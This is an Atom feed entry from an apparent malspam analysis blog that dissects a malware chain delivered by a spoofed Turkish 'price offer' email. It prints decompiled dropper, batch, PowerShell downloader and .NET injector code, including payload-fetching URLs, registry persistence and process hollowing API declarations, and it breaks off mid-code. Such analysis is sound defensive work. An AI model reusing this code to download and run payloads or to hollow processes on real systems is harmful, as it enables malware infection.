<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Malspam Analysis</title><id>https://observeroftime.github.io/malspam-analysis/</id><updated>1970-01-01T00:00:00+00:00</updated><link href="https://observeroftime.github.io/malspam-analysis/" rel="alternate"/><subtitle>This blog is where I occasionally analyse malicious files or links that I receive via email.</subtitle><entry><title>Malspam Analysis - FIYAT TEKLIFI</title><id>https://observeroftime.github.io/malspam-analysis/2026-04-13/59a3feba308b32161878736842715c713b6598a414a04ea3ceec16e4ab3d92f5.html</id><updated>2026-06-28T20:17:00+00:00</updated><link href="https://observeroftime.github.io/malspam-analysis/2026-04-13/59a3feba308b32161878736842715c713b6598a414a04ea3ceec16e4ab3d92f5.html" rel="alternate"/><content type="html">&lt;h1&gt;FIYAT TEKLIFI&lt;/h1&gt;
&lt;p&gt;On April 13 2026, 10:37 UTC, I received an email with the following details:&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;From&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Subject&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Sender address&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Sender IP&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Abm Ship Supply &amp;lt;abm@abmshipsupply.com&amp;gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;FIYAT TEKLIFI&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;abm@abmshipsupply.com&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;158.94.208.218&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The subject is in Turkish and translates to “PRICE OFFER”.&lt;/p&gt;
&lt;p&gt;The sender domain has not configured DMARC or DKIM and the SPF check failed, which
indicates that the email was likely spoofed. The website belongs to “ABM Ship Supply”,
a Turkish marine supply provider, and the sender address is listed in their contacts.&lt;/p&gt;
&lt;p&gt;The email contains the following attachment:&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;Name&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Type&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Magic&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;SHA256&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Abm 2026 H1 G�ncel Fiyat Listesi .r07&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;RAR&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;RAR archive data, v5&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0b05ceeae3be9bb1b83bb079e4a58421&lt;wbr&gt;32f472d24ebdd4fa8daeb8b31b65a615&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;Analysis&lt;/h2&gt;
&lt;h3&gt;.NET Initial Dropper&lt;/h3&gt;
&lt;p&gt;Extracting the attached RAR archive yields the 32-bit .NET executable
“Abm 2026 H1 Güncel Fiyat Listesi .exe” with the following metadata:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;File Description: Stub&lt;/li&gt;
&lt;li&gt;File Version: 1.0.0.0&lt;/li&gt;
&lt;li&gt;Internal Name: stub.exe&lt;/li&gt;
&lt;li&gt;Legal Copyright: Copyright ©  2025&lt;/li&gt;
&lt;li&gt;Original File Name: stub.exe&lt;/li&gt;
&lt;li&gt;Product Name: Stub&lt;/li&gt;
&lt;li&gt;Product Version: 1.0.0.0&lt;/li&gt;
&lt;li&gt;Assembly Version: 1.0.0.0&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I decompiled the executable with &lt;a href=&quot;https://github.com/icsharpcode/ILSpy&quot;&gt;ILSpy&lt;/a&gt;
and identified the assembly name “GeneratedExe” and entry point &lt;code&gt;Program.Main&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The entry point contains junk code which filters, transforms, and prints a
hardcoded list of numbers. I’ve omitted this code as its only purpose is to
obfuscate the malware’s functionality in an attempt to hinder static code analysis.&lt;/p&gt;
&lt;p&gt;Alongside the junk code, it initializes an array of 13650 bytes which it writes to a “.bat”
file in a temporary folder with a randomly-generated UUID as the filename. The file is executed
through “cmd.exe” on a hidden window with all output captured and discarded. The program waits
for the process execution to finish and deletes the file it created to hide its tracks.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;byte[] bytes = new byte[13650] {
    // ...
};
// junk code
string text = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString() + &quot;.bat&quot;);
try {
    File.WriteAllBytes(text, bytes);
    ProcessStartInfo processStartInfo = new ProcessStartInfo();
    processStartInfo.FileName = &quot;cmd.exe&quot;;
    processStartInfo.Arguments = &quot;/C \&quot;&quot; + text + &quot;\&quot;&quot;;
    processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
    processStartInfo.CreateNoWindow = true;
    processStartInfo.UseShellExecute = false;
    processStartInfo.RedirectStandardOutput = true;
    processStartInfo.RedirectStandardError = true;
    ProcessStartInfo startInfo = processStartInfo;
    // junk code
    using (Process process = Process.Start(startInfo)) {
        string text2 = process.StandardOutput.ReadToEnd();
        string text3 = process.StandardError.ReadToEnd();
        process.WaitForExit();
    }
    // junk code
}
finally {
    try {
        File.Delete(text);
    } catch { }
}
// junk code
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Batch File Loader&lt;/h3&gt;
&lt;p&gt;Since the byte array is not obfuscated in any way, it can be decoded with a single operation.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cyberchef&quot;&gt;From_Decimal(&apos;Comma&apos;,false)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The batch file starts with a “fake complex header”. The code fakes a system checker utility and
pings the loopback address a few times while printing messages with random numbers. Like the junk code
of the first stage, this code is purely a distraction. In fact, it is skipped entirely and never executes.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-dosbatch&quot;&gt;@echo off
:: ===============================
:: FAKE COMPLEX HEADER - DO NOT RUN
:: ===============================

goto :fakeComplexCodeEnd

:fakeComplexCode
title Ultimate System Checker 9000
:: omitted
:endFakeComplexCode

:fakeComplexCodeEnd
:: ===============================
:: END OF FAKE COMPLEX HEADER
:: =
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After the header, begins a series of &lt;code&gt;GOTO&lt;/code&gt; statements and labels. Most of the labels contain
a single &lt;code&gt;SET&lt;/code&gt; statement each of which defines a variable containing a portion of a command.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-dosbatch&quot;&gt;GOTO ODIONSOGIF
:: ...
:ODIONSOGIF
SET NDJDNONFNH=%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe -Command &quot;S
GOTO DIUJIOGNDS
:: ...
:IGJSIDHDDD0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The execution of the command which is pieced together using these variables can
be identified with a little Python code. The code reads the file and looks for
a line which follows a label, does not start with “SET”, and is not blank.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from pathlib import Path
import re

text = Path(&quot;URT.bat&quot;).read_text()
execution = re.search(r&quot;^:[A-Z0-9]+\n(?!SET|\s*$)(.+)$&quot;, text, re.M)[1]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After identifying this line, the variables in it can be expanded by looking for the &lt;code&gt;SET&lt;/code&gt; statements,
mapping the variable names to their values, and substituting them accordingly.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;variables = dict(re.findall(r&quot;^SET (\w+)=(.*)$&quot;, text, re.M))
command = re.sub(r&quot;%(\w+)%&quot;, lambda m: variables[m[1]], execution)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The resulting command calls PowerShell and does two things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It launches a new hidden PowerShell process to execute a base64-encoded command.&lt;/li&gt;
&lt;li&gt;It copies the calling script file to “C:\ProgramData\URT.bat”, ignoring errors.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-dosbatch&quot;&gt;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe -Command &quot;Start-Process %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList &apos;-Command \&quot;$ddsdfgo = &apos;&apos;...&apos;&apos;;$oWfdfjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdfgo, &apos;&apos;f#&apos;&apos;, &apos;&apos;r&apos;&apos;)));iex $oWfdfjfdsuxd\&quot;&apos;&quot;;  Copy-Item -Path &apos;%~f0&apos; -Destination &apos;C:\ProgramData\URT.bat&apos; -Force -ErrorAction SilentlyContinue&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PowerShell Downloader&lt;/h3&gt;
&lt;p&gt;The base64-encoded PowerShell command is obfuscated by replacing “r” with “f#” and stored
in the “$ddsdfgo” variable and can be deobfuscated and decoded with a little more Python.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from base64 import b64decode

encoded = re.search(r&quot;\$ddsdfgo = &apos;&apos;([A-Za-z0-9+/=#]+)&apos;&apos;&quot;, command)[1]
result = b64decode(encoded.replace(&quot;f#&quot;, &quot;r&quot;)).decode(&quot;utf-16le&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The PowerShell code begins with a 3 second sleep, likely waiting for the batch file to be copied.
Then, it defines the &lt;code&gt;DownloadDataFromLinks&lt;/code&gt; which iterates over an array of links in random order
and returns the first result that was downloaded successfully. The array contains the following links:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://hasteb.in/ii5PfCz83aTcDgK&lt;/li&gt;
&lt;li&gt;https://pastefy.app/eKkAgMVM/raw&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Start-Sleep -Seconds 3
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
function DownloadDataFromLinks { param ([string[]]$links)
  $webClient = New-Object System.Net.WebClient;
  $shuffledLinks = Get-Random -InputObject $links -Count $links.Length;
  foreach ($link in $shuffledLinks) {
    try { return $webClient.DownloadData($link) } catch { continue }
  };
  return $null
};
$Bytes = &apos;http&apos;;
$Bytes2 = &apos;s://&apos;;
$lfsdfsdg =  $Bytes +$Bytes2;
$links = @(($lfsdfsdg + &apos;hasteb.in/ii5PfCz83aTcDgK&apos;),($lfsdfsdg + &apos;pastefy.app/eKkAgMVM/raw&apos;));
$imageBytes = DownloadDataFromLinks $links;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the download was successful, the script searches for “&amp;lt;&amp;lt;START&amp;gt;&amp;gt;” and “&amp;lt;&amp;lt;END&amp;gt;&amp;gt;”
markers within the data, a technique commonly seen in malware using steganography for obfuscation.
&lt;em&gt;Though no actual steganography is involved in this case, as the downloaded file contains only
base64-encoded data surrounded by the aforementioned markers.&lt;/em&gt; The content between the markers
is base64-decoded and loaded into memory as a .NET assembly. Then, the type “myprogram.Homees”
is loaded from the assembly, in between two &lt;code&gt;Get-Process&lt;/code&gt; calls (more junk code).
Finally, the “runss” method of the type is invoked using the following parameters:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;“txt.daordop/pw4a9a/piv.lenapym//:s”&lt;/li&gt;
&lt;li&gt;“1”&lt;/li&gt;
&lt;li&gt;“URT”&lt;/li&gt;
&lt;li&gt;“RegAsm”&lt;/li&gt;
&lt;li&gt;“0”&lt;/li&gt;
&lt;li&gt;“x86”&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;if ($imageBytes -ne $null) {
  $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);
  $startFlag = &apos;&amp;lt;&amp;lt;START&amp;gt;&amp;gt;&apos;;
  $endFlag = &apos;&amp;lt;&amp;lt;END&amp;gt;&amp;gt;&apos;;
  $startIndex = $imageText.IndexOf($startFlag);
  $endIndex = $imageText.IndexOf($endFlag);
  if ($startIndex -ge 0 -and $endIndex -gt $startIndex) {
    $startIndex += $startFlag.Length;
    $base64Lengthh = $endIndex - $startIndex;
    $base64Command = $imageText.Substring($startIndex, $base64Lengthh);
    $endIndex = $imageText.IndexOf($endFlag);
    $commandBytes = [System.Convert]::FromBase64String($base64Command);
    $endIndex = $imageText.IndexOf($endFlag);
    $endIndex = $imageText.IndexOf($endFlag);
    $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);
    Get-Process | Sort-Object CPU -Descending | Select-Object -First 5 | Format-Table Name,CPU
    $type = $loadedAssembly.GetType(&apos;myprogram.Homees&apos;);
    Get-Process | Sort-Object CPU -Descending | Select-Object -First 5 | Format-Table Name,CPU
    $injec = &apos;Reg&apos; + &apos;Asm&apos;;
    $gg = &apos;txt.daordop/pw4a9a/piv.lenapym//:sgsffsf&apos; ; $gg = $gg.Substring(0, $gg.Length - 6)
    $method = $type.GetMethod(&apos;runs&apos; + &apos;s&apos;).Invoke($null, [object[]] ($gg ,&apos;1&apos;, &apos;URT&apos;, $injec, &apos;0&apos; , &apos;x86&apos;))
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;.NET Process Injector&lt;/h3&gt;
&lt;p&gt;The base64-encoded data between the markers can be decoded with the following recipe:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cyberchef&quot;&gt;Regular_expression(&apos;User defined&apos;,&apos;&amp;lt;&amp;lt;START&amp;gt;&amp;gt;([A-Za-z0-9+/=]+)&amp;lt;&amp;lt;END&amp;gt;&amp;gt;&apos;,false,false,false,false,false,false,&apos;List capture groups&apos;)
From_Base64(&apos;A-Za-z0-9+/=&apos;,false,false)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result is a 64-bit .NET executable with the following metadata:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Comments: progrfam&lt;/li&gt;
&lt;li&gt;Company Name: profgram&lt;/li&gt;
&lt;li&gt;File Description: Myrpfgoram&lt;/li&gt;
&lt;li&gt;File Version: 2.0.0.12&lt;/li&gt;
&lt;li&gt;Internal Name: myprogram.exe&lt;/li&gt;
&lt;li&gt;Legal Copyright: Copyright ©  2027&lt;/li&gt;
&lt;li&gt;Original File Name: myprogram.exe&lt;/li&gt;
&lt;li&gt;Product Name: program&lt;/li&gt;
&lt;li&gt;Product Version: 2.0.0.12&lt;/li&gt;
&lt;li&gt;Assembly Version: 2.0.4.12&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;According to &lt;a href=&quot;https://github.com/horsicq/Detect-It-Easy&quot;&gt;Detect-It-Easy&lt;/a&gt;, the assembly is
obfuscated by “Smart Assembly” so I used &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/de4dotEx&quot;&gt;de4dotEx&lt;/a&gt;
to deobfuscate it before decompiling it with &lt;a href=&quot;https://github.com/icsharpcode/ILSpy&quot;&gt;ILSpy&lt;/a&gt;.
The assembly name is “myprogram” and the entry point is “myprogram.sha.Main”.&lt;/p&gt;
&lt;p&gt;The entry point initialises a Windows form with a text box and four buttons. It doesn’t
load any malicious code and is meant to appear legitimate to anyone who runs the executable.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;private static void Main() {
  Environment.GetFolderPath(Environment.SpecialFolder.Startup);
  Application.SetCompatibleTextRenderingDefault(defaultValue: false);
  Application.Run(new Form1());
  Application.EnableVisualStyles();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The actual entry point of the malware is “myprogram.Homees.runss”, which is the
function loaded in memory by the PowerShell script. It is annotated with the
attribute &lt;code&gt;DebuggerNonUserCode&lt;/code&gt; which instructs the debugger not to display this
function in the debugger window and to step through its code automatically.
The following parameters are passed to the function by the PowerShell script:&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;Name&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;code&gt;adress&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;“txt.daordop/pw4a9a/piv.lenapym//:s”&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;code&gt;enablestartup&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;“1”&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;code&gt;startupname&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;“URT”&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;code&gt;injection&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;“RegAsm”&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;code&gt;persistence&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;“0”&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;code&gt;architecture&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;“x86”&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;[DebuggerNonUserCode]
public static void runss(string adress, string enablestartup, string startupname, string injection, string persistence = &quot;0&quot;, string architecture = &quot;x86&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Persistence&lt;/h4&gt;
&lt;p&gt;Startup persistence is established by writing a &lt;code&gt;RunOnce&lt;/code&gt; registry value to &lt;code&gt;HKEY_CURRENT_USER&lt;/code&gt;,
falling back to &lt;code&gt;Run&lt;/code&gt; if it fails. The folder path is set to the “Startup” folder by default,
though it is subsequently set to the “CommonApplicationData” (“ProgramData”) folder in all cases.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;    string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The registry key is set to a random name through the &lt;code&gt;RandomString&lt;/code&gt;
helper function which uses the alphabet “abcdefghijklmnoFAS”.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;public static Random random = new Random();


private static string RandomString(int length) {
    return new string((from s in Enumerable.Repeat(&quot;abcdefghijklmnoFAS&quot;, length)
        select s[random.Next(s.Length)]).ToArray());
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;enablestartup&lt;/code&gt; parameter controls the value of the registry key. In this case, it is defined
as “1” which sets the value to a “.bat” with the given &lt;code&gt;startupname&lt;/code&gt; (currently defined as “URT”).&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;    if (enablestartup == &quot;1&quot;) {
        folderPath = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData);
        try {
            Registry.CurrentUser.OpenSubKey(&quot;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce&quot;, writable: true).SetValue(value: Path.Combine(folderPath, startupname + &quot;.bat&quot;), name: RandomString(10));
        } catch {
            Registry.CurrentUser.OpenSubKey(&quot;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&quot;, writable: true).SetValue(value: Path.Combine(folderPath, startupname + &quot;.bat&quot;), name: RandomString(10));
        }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the value of the parameter is “2”, the run key launches a “.vbs” script via “wscript.exe”.
Unless the process is running from “System32” or “SysWOW64”, it also kills the process
injection candidates “RegAsm.exe”, “Vbc.exe”, and “MsBuild.exe”, sleeps two seconds,
and self-replicates by copying the most recently created “.vbs” file into the folder path.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;    if (enablestartup == &quot;2&quot;) {
        folderPath = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData);
        try {
            Registry.CurrentUser.OpenSubKey(&quot;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce&quot;, writable: true).SetValue(value: &quot;wscript.exe \&quot;&quot; + Path.Combine(folderPath, startupname + &quot;.vbs&quot;) + &quot;\&quot;&quot;, name: RandomString(10));
        } catch {
            Registry.CurrentUser.OpenSubKey(&quot;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&quot;, writable: true).SetValue(value: &quot;wscript.exe \&quot;&quot; + Path.Combine(folderPath, startupname + &quot;.vbs&quot;) + &quot;\&quot;&quot;, name: RandomString(10));
        }
        string currentDirectory = Environment.CurrentDirectory;
        if (!currentDirectory.StartsWith(&quot;C:\\Windows\\System32&quot;, StringComparison.OrdinalIgnoreCase) &amp;amp;&amp;amp; !currentDirectory.StartsWith(&quot;C:\\Windows\\SysWOW64&quot;, StringComparison.OrdinalIgnoreCase)) {
            RunPS(&quot;Start-Process cmd.exe -ArgumentList &apos;/c taskkill /IM RegAsm.exe /F &amp;amp; taskkill /IM Vbc.exe /F &amp;amp; taskkill /IM MsBuild.exe /F&apos; -WindowStyle Hidden -Wait&quot;);
            Thread.Sleep(2000);
            RunPS(&quot;-WindowStyle Hidden if ((Get-Location).Path -ne &apos;&quot; + folderPath + &quot;&apos;) { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination &apos;&quot; + Path.Combine(folderPath, startupname + &quot;.vbs&quot;) + &quot;&apos; -Force }&quot;);
        }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PowerShell is spawned through the &lt;code&gt;RunPS&lt;/code&gt; helper function which is also annotated with the
&lt;code&gt;DebuggerNonUserCode&lt;/code&gt; attribute. It launches a hidden PowerShell window and suppresses errors.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;[DebuggerNonUserCode]
public static void RunPS(string args)
{
    try {
        ProcessStartInfo processStartInfo = new ProcessStartInfo();
        processStartInfo.FileName = &quot;powershell.exe&quot;;
        processStartInfo.Arguments = args;
        processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        Process process = new Process();
        process.StartInfo = processStartInfo;
        process.Start();
    } catch { }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the value of the parameter is “3”, the run key launches a “.js” script via
“wscript.exe“. It also unconditionally kills the process injection candidates
“RegAsm.exe”, “Vbc.exe”, and “MsBuild.exe” and sleeps for two seconds.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;    if (enablestartup == &quot;3&quot;) {
        folderPath = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData);
        try {
            Registry.CurrentUser.OpenSubKey(&quot;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce&quot;, writable: true).SetValue(value: &quot;wscript.exe \&quot;&quot; + Path.Combine(folderPath, startupname + &quot;.js&quot;) + &quot;\&quot;&quot;, name: RandomString(10));
        } catch {
            Registry.CurrentUser.OpenSubKey(&quot;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&quot;, writable: true).SetValue(value: &quot;wscript.exe \&quot;&quot; + Path.Combine(folderPath, startupname + &quot;.js&quot;) + &quot;\&quot;&quot;, name: RandomString(10));
        }
        RunPS(&quot;Start-Process cmd.exe -ArgumentList &apos;/c taskkill /IM RegAsm.exe /F &amp;amp; taskkill /IM Vbc.exe /F &amp;amp; taskkill /IM MsBuild.exe /F&apos; -WindowStyle Hidden -Wait&quot;);
        Thread.Sleep(2000);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, if &lt;code&gt;persistence&lt;/code&gt; is defined as “1” and &lt;code&gt;enablestartup&lt;/code&gt; is not “0”, the function writes
a batch file named “wrfdse.bat” to the temporary folder and executes it. The script loops up to
1000 times, sleeping for a minute between iterations, and restarts the “.vbs” startup script if
the injected process is not currently running. Note that this script won’t work when &lt;code&gt;enablestartup&lt;/code&gt;
is defined as “1” or “3”, despite passing the condition, since it expects a “.vbs” file.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;    if (persistence == &quot;1&quot; &amp;amp;&amp;amp; enablestartup != &quot;0&quot;) {
        string text2 = Path.GetTempPath() + &quot;wrfdse.bat&quot;;
        using (StreamWriter streamWriter = new StreamWriter(text2)) {
            streamWriter.WriteLine(&quot;set count=0&quot;);
            streamWriter.WriteLine(&quot;:loop&quot;);
            streamWriter.WriteLine(&quot;set /a count=%count%+1&quot;);
            streamWriter.WriteLine(&quot;timeout 60 &quot;);
            streamWriter.WriteLine(&quot;tasklist /fi \&quot;ImageName eq &quot; + injection + &quot;.exe\&quot; /fo csv 2&amp;gt;NUL | find /I \&quot;&quot; + injection + &quot;.exe\&quot;&amp;gt;NUL&quot;);
            streamWriter.WriteLine(&quot;if \&quot;%ERRORLEVEL%\&quot;==\&quot;1\&quot; cscript \&quot;&quot; + Path.Combine(folderPath, startupname) + &quot;.vbs\&quot;&quot;);
            streamWriter.WriteLine(&quot;if %count% neq 1000 goto loop&quot;);
        }
        Process process = new Process();
        process.StartInfo.FileName = text2;
        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        process.StartInfo.ErrorDialog = true;
        process.Start();
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Process Injection&lt;/h4&gt;
&lt;p&gt;After setting up the startup run key and before the injection persistence script, the “runss”
function downloads a payload from the URL defined by &lt;code&gt;adress&lt;/code&gt;. The parameter value is appended
with “ptth” and reversed, resulting here into the URL “https://mypanel.vip/a9a4wp/podroad.txt”.
The text is reversed and base64-decoded, after replacing any instances of “DTre” and “DgTre”
with “/d” and “+” respectively. The resulting payload is passed to the &lt;code&gt;MemoryMapper.Map32&lt;/code&gt;
function if the &lt;code&gt;architecture&lt;/code&gt; parameter is defined as “x86”, or to &lt;code&gt;MemoryMapper.Map64&lt;/code&gt; otherwise.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;    WebClient webClient = new WebClient();
    webClient.Encoding = Encoding.UTF8;
    adress += &quot;ptth&quot;;
    adress = string.Concat(adress.Reverse());
    string text = string.Concat(webClient.DownloadString(adress).Reverse());
    byte[] payload = (text.Contains(&quot;DTre&quot;) ? Convert.FromBase64String(text.Replace(&quot;DTre&quot;, &quot;/d&quot;)) : (text.Contains(&quot;DgTre&quot;) ? Convert.FromBase64String(text.Replace(&quot;DgTre&quot;, &quot;+&quot;)) : Convert.FromBase64String(text.Replace(&quot;DgTre&quot;, &quot;+&quot;))));
    if (!(architecture == &quot;x86&quot;)) {
        MemoryMapper.Map64(payload, injection, &quot;&quot;);
    } else {
        MemoryMapper.Map32(payload, injection, &quot;0&quot;);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;MemoryMapper&lt;/code&gt; class declares native Windows API structures alongside delegates
for native functions often used in process injection and in particular process hollowing.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;STARTUP_64&lt;/code&gt; (64-bit &lt;code&gt;STARTUPINFOA&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PROCESS_64&lt;/code&gt; (64-bit &lt;code&gt;PROCESS_INFORMATION&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;STARTUP_32&lt;/code&gt; (32-bit &lt;code&gt;STARTUPINFOA&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PROCESS_32&lt;/code&gt; (32-bit &lt;code&gt;PROCESS_INFORMATION&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;private delegate bool _CreateProcessA(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUP_64 lpStartupInfo, out PROCESS_64 lpProcessInformation);

private delegate IntPtr _VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

private delegate bool _WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten);

private delegate bool _VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);

private delegate bool _ZwUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);

private delegate bool _GetThreadContext(IntPtr hThread, IntPtr lpContext);

private delegate bool _SetThreadContext(IntPtr hThread, IntPtr lpContext);

private delegate uint _ResumeThread(IntPtr hThread);

private delegate bool _CloseHandle(IntPtr hObject);

